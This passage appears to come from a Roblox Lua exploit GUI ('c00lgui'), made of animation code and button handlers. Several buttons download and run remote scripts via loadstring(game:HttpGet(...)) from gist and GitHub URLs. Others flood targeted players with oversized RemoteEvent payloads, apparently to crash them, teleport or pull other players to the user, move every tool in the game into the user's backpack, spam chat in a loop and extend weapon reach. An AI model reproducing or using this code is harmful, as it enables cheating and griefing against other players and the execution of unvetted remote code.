-.2, 0) * CFrame.Angles(math.rad(0),math.rad(0*math.sin(sine/4)),math.rad(15*math.sin(sine/4))),.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.3 + .3 * math.sin(sine/3.5),.5 * -math.sin(sine/3.5),.1) * CFrame.Angles(math.rad(0 * math.sin(sine/2)),0,math.rad(30 * math.sin(sine/3.5))),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.3 + .3 * math.sin(sine/3.5),.5 * math.sin(sine/3.5),.1) * CFrame.Angles(math.rad(0 * math.sin(sine/2)),0,math.rad(30 * math.sin(sine/3.5))),.2) swait() end mrozo:Remove() ws = 14 attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='r' then if dancing then dancing = false else ws = 6 recordbaby = 0 dancing = true change = .5 attacking = true spinme = Instance.new("Sound",Torso) spinme.Volume = 8 spinme.SoundId = "rbxassetid://145799973" spinme.Looped = true spinme:Play() coroutine.wrap(function() while dancing do recordbaby = recordbaby + 10 RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.27, 2 , .1 * math.sin(sine/4)) * CFrame.Angles(math.rad(10 * math.sin(sine/4)), math.rad(0), math.rad(-8)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.27, 2.0, -.1 * math.sin(sine/4)) * CFrame.Angles(math.rad(-10 * math.sin(sine/4)), math.rad(0), math.rad(8)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(.5 * math.sin(sine/5), -.2, .5 * math.sin(sine/4)) * CFrame.Angles(math.rad(0),math.rad(recordbaby),math.rad(0)),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.5,1.98,0) * CFrame.Angles(0,0,math.rad(-90)),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(.5,1.98,0) * CFrame.Angles(0,0,math.rad(90)),.3) swait() end spinme:Remove() ws = 14 attacking = false end)() end end end) function ray(pos, dir, rang, ignoredesc) return workspace:FindPartOnRay(Ray.new(pos, dir.unit * rang), ignoredesc) end function ray2(startpos, endpos, distance, ignore) local dir = CFrame.new(startpos,endpos).lookVector return ray(startpos, dir, distance, ignore) end checks1 = coroutine.wrap(function() -------Checks while true do hf = ray(Root.Position,(CFrame.new(Root.Position,Root.Position+Vector3.new(0,-1,0))).lookVector,3*3,Character) if Root.Velocity.y > 1 then position = "Jump" elseif Root.Velocity.y < -1 then position = "Falling" elseif Root.Velocity.Magnitude < 2 then position = "Idle" elseif Root.Velocity.Magnitude > 2 then position = "Walking" elseif Root.Velocity.Magnitude > 20 then position = "Running" else end wait() end end) checks1() function ray(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS) return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS) end function ray2(StartPos, EndPos, Distance, Ignore) local DIRECTION = CFrame.new(StartPos,EndPos).lookVector return ray(StartPos, DIRECTION, Distance, Ignore) end OrgnC0 = Neck.C0 local movelimbs = coroutine.wrap(function() while RunSrv.RenderStepped:wait() do TrsoLV = Torso.CFrame.lookVector Dist = nil Diff = nil if not MseGuide then print("Failed to recognize") else local _, Point = Workspace:FindPartOnRay(Ray.new(Head.CFrame.p, mouse.Hit.lookVector), Workspace, false, true) Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y local _, Point2 = Workspace:FindPartOnRay(Ray.new(LeftArm.CFrame.p, mouse.Hit.lookVector), Workspace, false, true) Dist2 = (LeftArm.CFrame.p-Point).magnitude Diff2 = LeftArm.CFrame.Y-Point.Y HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) Neck.C0 = Neck.C0:lerp(OrgnC0*CFrame.Angles((math.tan(Diff/Dist)*1), 0, (((Head.CFrame.p-Point).Unit):Cross(Torso.CFrame.lookVector)).Y*1), .1) end end end) movelimbs() immortal = {} for i,v in pairs(Character:GetDescendants()) do if v:IsA("BasePart") and v.Name ~= "lmagic" and v.Name ~= "rmagic" then if v ~= Root and v ~= Torso and v ~= Head and v ~= RightArm and v ~= LeftArm and v ~= RightLeg and v.Name ~= "lmagic" and v.Name ~= "rmagic" and v ~= LeftLeg then v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) end table.insert(immortal,{v,v.Parent,v.Material,v.Color,v.Transparency}) elseif v:IsA("JointInstance") then table.insert(immortal,{v,v.Parent,nil,nil,nil}) end end for e = 1, #immortal do if immortal[e] ~= nil then local STUFF = immortal[e] local PART = STUFF[1] local PARENT = STUFF[2] local MATERIAL = STUFF[3] local COLOR = STUFF[4] local TRANSPARENCY = STUFF[5] if levitate then if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= eyo1 and PART.Name ~= eyo2 and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end PART.AncestryChanged:connect(function() PART.Parent = PARENT end) else if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end PART.AncestryChanged:connect(function() PART.Parent = PARENT end) end end end function immortality() for e = 1, #immortal do if immortal[e] ~= nil then local STUFF = immortal[e] local PART = STUFF[1] local PARENT = STUFF[2] local MATERIAL = STUFF[3] local COLOR = STUFF[4] local TRANSPARENCY = STUFF[5] if PART.ClassName == "Part" and PART == Root then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end if PART.Parent ~= PARENT then hum:Remove() PART.Parent = PARENT hum = Instance.new("Humanoid",Character) end end end end coroutine.wrap(function() while true do if hum.Health < .1 then deadsound = Instance.new("Sound", Torso) deadsound.Volume = 6 deadsound.SoundId = "rbxassetid://1411352723" deadsound:Play() immortality() end wait() end end)() local anims = coroutine.wrap(function() while true do settime = 0.05 sine = sine + change if position == "Jump" and attacking == false then change = 1 spin = false for i,v in pairs(Torso:GetChildren()) do if v:IsA("Sound") then v:Remove() end end LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.2) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.2) elseif position == "Falling" and attacking == false then change = 1 spin = false for i,v in pairs(Torso:GetChildren()) do if v:IsA("Sound") then v:Remove() end end ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(15), math.rad(0), math.rad(0)), 0.15) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.94 + .02 * math.sin(sine/12),-0) * CFrame.Angles(math.rad(28 + 5 * math.sin(sine/12)),math.rad(0),math.rad(45)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.94 + .02 * math.sin(sine/12),-0) * CFrame.Angles(math.rad(28 + 5 * math.sin(sine/12)),math.rad(0),math.rad(-45)), 0.2) elseif position == "Walking" and attacking == false and running == false then change = 1.2 walking = true spin = false for i,v in pairs(Torso:GetChildren()) do if v:IsA("Sound") then v:Remove() end end RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5 + Root.RotVelocity.Y / 85,.35,-.5*math.sin(sine/11)) * CFrame.Angles(math.rad(35*math.sin(sine/11)),math.rad(0*math.sin(sine/11)),math.rad(-10 + Root.RotVelocity.Y / 10, math.sin(-20 * math.sin(sine/4)))),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5 + Root.RotVelocity.Y / 85,.45,.5*math.sin(sine/11)) * CFrame.Angles(math.rad(-55*math.sin(sine/11)),math.rad(-5*math.sin(sine/8)),math.rad(10 + Root.RotVelocity.Y / 10, math.sin(20 * math.sin(sine/4)))),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.15 * 0.6*-math.sin(sine/5.5), 0) * CFrame.Angles(math.rad(10), math.rad(12 * -math.sin(sine/11)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/10))), 0.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/11)/2.8, -.2 + 0.2 - math.sin(sine/11)/3.4) * CFrame.Angles(math.rad(25 - 25) + -math.sin(sine/11)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0), math.cos(-15 * 25 * math.cos(sine/11))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/11)/2.8, -.2 + 0.2 + math.sin(sine/11)/3.4) * CFrame.Angles(math.rad(25 - 25) - -math.sin(sine/11)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) , math.cos(-15 * 25 * math.cos(sine/11))), 0.3) elseif position == "Idle" and attacking == false and running == false then change = .5 spin = true for i,v in pairs(Torso:GetChildren()) do if v:IsA("Sound") then v:Remove() end end ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(6 * -math.sin(sine/12)),math.rad(0),math.rad(0)),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.27 + .02 * math.sin(sine/12),.20 * -math.sin(sine/12)) * CFrame.Angles(math.rad(20 * math.sin(sine/12)),math.rad(0),math.rad(10)), 0.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.27 + .02 * math.sin(sine/12),.20 * -math.sin(sine/12)) * CFrame.Angles(math.rad(20 * math.sin(sine/12)),math.rad(0),math.rad(-10)), 0.1) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(6 * -math.sin(sine/12)), math.rad(0), math.rad(-10)), 0.1) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(6 * -math.sin(sine/12)), math.rad(0), math.rad(10)), 0.1) elseif position == "Running" and attacking == false then change = 1 for i,v in pairs(Torso:GetChildren()) do if v:IsA("Sound") then v:Remove() end end RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(0, .5, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-1.24+.6*math.sin(sine/4)/1.4, 0.54, 0-0.8*math.sin(sine/4))*CFrame.Angles(math.rad(6+140*math.sin(sine/4)/1.2), math.rad(0), math.rad(20+70*math.sin(sine/4))), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(0,.5,0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(-20 - 0 * math.sin(sine/4)), math.rad(0 + 6 * math.sin(sine/4)), math.rad(0) + Root.RotVelocity.Y / 30, math.sin(10 * math.sin(sine/4))), 0.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*-math.sin(sine/4)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.6+0.1*math.sin(sine/4),.7*-math.sin(sine/4)) * CFrame.Angles(math.rad(15+ -50 * math.sin(sine/4)),0,0),.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*math.sin(sine/4)),.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.6-0.1*math.sin(sine/4),.7*math.sin(sine/4)) * CFrame.Angles(math.rad(15 + 50 * math.sin(sine/4)),0,0),.3) end swait() end end) anims() end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_6b); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_6d() local script = G2L["6d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://gist.githubusercontent.com/pepfre12/4355706c7ff5710c122017125359fd4e/raw/6825802ec5676a757c5d005a64ee5ff85235d2ed/sword%2520glitcher%2520set%2520desired%2520angle",true))() end) end; task.spawn(C_6d); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_6f() local script = G2L["6f"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://gist.githubusercontent.com/pepfre12/80e2645ff8eeda9564aa179f4555a93c/raw/fc845991b42c1533c992857d3e275ebb49cde8e2/concealed%2520tenebrosity%2520glitcher%2520set%2520desired%2520angle",true))() end) end; task.spawn(C_6f); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript local function C_74() local script = G2L["74"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local Players = game:GetService("Players") local player = Players.LocalPlayer local backpack = player:WaitForChild("Backpack") for _, obj in ipairs(game:GetDescendants()) do if obj:IsA("Tool") and obj.Parent ~= backpack then pcall(function() obj.Parent = backpack end) end end end) end; task.spawn(C_74); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript local function C_76() local script = G2L["76"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local Admins = game.Players.LocalPlayer -- In order for this to work you must put your name where mine is! local Speed = "0.05" -- Set the speed of the orb's rotation. This is recommended. local Distance = "5" -- This is the distance that the orb has from your characters torso. local Prefix = ">" local Players = game:GetService('Players') local Banned = {} -- Leave this be! wait() local folder = Instance.new("Model", game.Lighting) folder.Name = "sbans" game:GetService('RunService').Stepped:connect(function() for i,x in pairs(folder:children()) do for i,v in pairs(game.Players:children()) do if v.Name==x.Value then bannnedd1=Instance.new('RemoteEvent',workspace):FireClient(game.Players[x.Value],{string.rep("Getbannedbro?",2e5+5)}) end end end end) game.Players.PlayerAdded:connect(function(player) Game:GetService("Chat"):Chat(p, player.DisplayName .. " (@" .. player.Name .. ") has joined!", Enum.ChatColor.Red) end) game.Players.ChildRemoved:connect(function(player2) Game:GetService("Chat"):Chat(p, player2.DisplayName .. " (@" .. player2.Name .. ") has left!", Enum.ChatColor.Red) end) function Orb() admin = Admins.Name orbnd=Instance.new('Model',workspace) Instance.new('Humanoid',orbnd) p = Instance.new("Part", orbnd) p.BrickColor = BrickColor.new("Really black") p.Size = Vector3.new(1,1,1) p.Shape = "Ball" p.Material = Enum.Material.Neon p.Anchored = true p.Name = "BsOrb" p.Locked = true p.CanCollide = false end Orb() game:GetService('RunService').Stepped:connect(function () if not workspace:FindFirstChild(Admins.Name) then Orb() end end) game:GetService('RunService').Stepped:connect(function() if not orbnd:FindFirstChild("BsOrb") then Orb() end end) Game:GetService('Chat'):Chat(p, "Welcome to i0rb, " .. Admins.DisplayName .. "!", Enum.ChatColor.Red) for i = 1,math.huge,Speed do wait() if workspace:FindFirstChild(Admins.Name) then p.CFrame = CFrame.new(Admins.Character.Torso.Position) * CFrame.fromEulerAnglesXYZ(math.sin(i),math.abs(i),math.sin(i)) * CFrame.new(0,0,-6) p2 = Instance.new("Part", p) p2.CFrame = p.CFrame * CFrame.new(0,0,0) p2.FormFactor = Enum.FormFactor.Custom p2.Size = Vector3.new(0.3,0.3,0.3) p2.BrickColor = BrickColor.new("Really black") p2.Transparency = 0.3 p2.CanCollide = false p2.Anchored = true p2.Material = Enum.Material.Neon game.Debris:AddItem(p2,1) end end game:GetService('RunService').Stepped:connect(function() for i,v in pairs(Players:children()) do if v.Name==Banned and v.Name~={game.Players.LocalPlayer.Name} then v:remove() end end end) Players.PlayerAdded:connect(function(player) do if player.Name==Banned then banplr=Instance.new('RemoteEvent',workspace):FireClient(player,{string.rep("Gettingbanformationbro?",2e5+5)}) game.Debris:AddItem(banplr,1) end end end) end) end; task.spawn(C_76); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript local function C_78() local script = G2L["78"]; local button = script.Parent local gui = game.CoreGui.CoolGui button.MouseButton1Down:connect(function() gui:Destroy() end) end; task.spawn(C_78); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript local function C_7a() local script = G2L["7a"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() -- thanks to moon for this dex / best dex out there loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))() end) end; task.spawn(C_7a); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript local function C_7c() local script = G2L["7c"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.vicid button.MouseButton1Down:connect(function() local player_name = input.Text local player = nil local teleport_player_locally_offset = 5 for i,v in pairs(game.Players:GetChildren()) do if v.Name:lower():match(player_name:lower()) then player = v end end if player == nil then game:GetService("StarterGui"):SetCore("SendNotification", { Title = "c00lgui", Text = "Invalid player", Icon = "http://www.roblox.com/asset/?id=89243526849526", Duration = 3, }) else local current_player_character = player.Character local exploiter_head_position = game.Players.LocalPlayer.Character.Head.Position local new_cframe = CFrame.new(exploiter_head_position.X+teleport_player_locally_offset, exploiter_head_position.Y, exploiter_head_position.Z) player.Character:SetPrimaryPartCFrame(new_cframe) player.Character.Head.Anchored = true for i,v in pairs(player.Character:GetChildren()) do if v:FindFirstChild("Hande") then v:Remove() end end end end) end; task.spawn(C_7c); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript local function C_7e() local script = G2L["7e"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.vicid button.MouseButton1Down:connect(function() local bringc = game:GetService("RunService").RenderStepped:Connect(function() for i, target in pairs(game:GetService("Players"):GetChildren()) do if target.Name == game.Players.LocalPlayer.Name then else target.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 5 end end end) end) end; task.spawn(C_7e); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_83() local script = G2L["83"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.bgid local r = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.are local g = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.gee local b = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.bee button.MouseButton1Down:connect(function() if game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove() end local plr = game.Players.LocalPlayer.Name local y = Instance.new("BillboardGui") y.Size = UDim2.new(0,100,0,150) y.StudsOffset = Vector3.new(0,1,0) y.Parent = game.Players[plr].Character.Head y.Adornee = game.Players[plr].Character.Head local f = Instance.new("TextLabel") f.Parent = y f.BackgroundTransparency = 1 f.Position = UDim2.new(0,0,0,-50) f.Size = UDim2.new(0,100,0,100) f.Font = "Arial" f.FontSize = "Size48" f.Text = input.Text f.TextStrokeColor3 = Color3.new(0,0,0) f.TextColor3 = Color3.new(r.Text/255,g.Text/255,b.Text/255) f.TextStrokeTransparency = 0 f.TextYAlignment = "Bottom" end) end; task.spawn(C_83); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_85() local script = G2L["85"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local platform = Instance.new("Part") platform.Size = Vector3.new(16, 1, 16) platform.Transparency = 0.5 platform.Color = Color3.fromRGB(255, 0, 255) platform.Anchored = true platform.Parent = workspace local player_position = game.Players.LocalPlayer.Character.Head.Position platform.Position = Vector3.new(player_position.X, player_position.Y-5, player_position.Z) end) end; task.spawn(C_85); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_87() local script = G2L["87"]; local TweenService = game:GetService("TweenService") local Players = game:GetService("Players") local button = script.Parent button.MouseButton1Down:Connect(function() local player = Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local torso = character:WaitForChild("Torso") local p = Instance.new("Part") p.Parent = workspace p.Locked = true p.BrickColor = BrickColor.new(104) p.Size = Vector3.new(8, 1.2, 8) p.Anchored = true local m = Instance.new("CylinderMesh") m.Scale = Vector3.new(1, 0.5, 1) m.Parent = p local tweenInfo = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out) while character and character.Parent do local targetCFrame = CFrame.new(torso.Position.X, torso.Position.Y - 4, torso.Position.Z) local tween = TweenService:Create(p, tweenInfo, {CFrame = targetCFrame}) tween:Play() wait() end end) end; task.spawn(C_87); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_89() local script = G2L["89"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.reid button.MouseButton1Down:connect(function() local reachsize = input.Text local Tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") or game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool") if Tool:FindFirstChild("OGSize3") then Tool.Handle.Size = Tool.OGSize3.Value Tool.OGSize3:Destroy() Tool.Handle.FunTIMES:Destroy() end local val = Instance.new("Vector3Value",Tool) val.Name = "OGSize3" val.Value = Tool.Handle.Size local sb = Instance.new("SelectionBox") sb.Adornee = Tool.Handle sb.Name = "FunTIMES" sb.Parent = Tool.Handle Tool.Handle.Massless = true Tool.Handle.Size = Vector3.new(Tool.Handle.Size.X,Tool.Handle.Size.Y,reachsize) end) end; task.spawn(C_89); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_8b() local script = G2L["8b"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.animid local input2 = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.asid button.MouseButton1Down:connect(function() local Anim = Instance.new("Animation") Anim.AnimationId = "rbxassetid://" .. input.Text local k = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Anim) k:Play() k:AdjustSpeed(input2.Text) end) end; task.spawn(C_8b); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_8d() local script = G2L["8d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local a = Instance.new("Animation") a.AnimationId = "rbxassetid://243999792" local k = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(a) k:Play() k:AdjustSpeed(2) wait(0.5) k:AdjustSpeed(0) end) end; task.spawn(C_8d); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_8f() local script = G2L["8f"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.jumpid button.MouseButton1Down:connect(function() game.Players.LocalPlayer.Character.Humanoid.JumpPower = input.Text end) end; task.spawn(C_8f); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_91() local script = G2L["91"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.walkid button.MouseButton1Down:connect(function() game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = input.Text end) end; task.spawn(C_91); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_93() local script = G2L["93"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.spamid local TextChatService = game:GetService("TextChatService") button.MouseButton1Down:connect(function() while true do if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then local textChannel = TextChatService.TextChannels.RBXGeneral textChannel:SendAsync(input.Text) else game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(input.Text, "All") end wait(2.5) end end) end; task.spawn(C_93); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_95() local script = G2L["95"]; local button = script.Parent button.MouseButton1Down:connect(function() game:GetService("Players").LocalPlayer.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy() end) end; task.spawn(C_95); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_97() local script = G2L["97"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.gravid button.MouseButton1Down:connect(function() game.Workspace.Gravity = input.Text end) end; task.spawn(C_97); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript local function C_99() local script = G2L["99"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.nameid button.MouseButton1Down:connect(function() for a, mod in pairs(game.Players.LocalPlayer.Character:children()) do if mod:FindFirstChild("TAG") then game.Players.LocalPlayer.Character.Head.Transparency = 0 mod:Destroy() end end local char = game.Players.LocalPlayer.Character local model = Instance.new("Model", char) local clone = char.Head:Clone() local hum = Instance.new("Humanoid", model) local weld = Instance.new("Weld", clone) model.Name = input.Text clone.Parent = model hum.Name = "TAG" hum.MaxHealth = 100 hum.Health = 100 weld.Part0 = clone weld.Part1 = char.Head char.Head.Transparency = 1 end) end; task.spawn(C_99); -- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript local function C_9f() local script = G2L["9f"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid button.MouseButton1Down:connect(function() input.Text = "99986264226275" end) end; task.spawn(C_9f); -- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript local function C_a1() local script = G2L["a1"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid button.MouseButton1Down:connect(function() input.Text = "5718908296" end) end; task.spawn(C_a1); -- 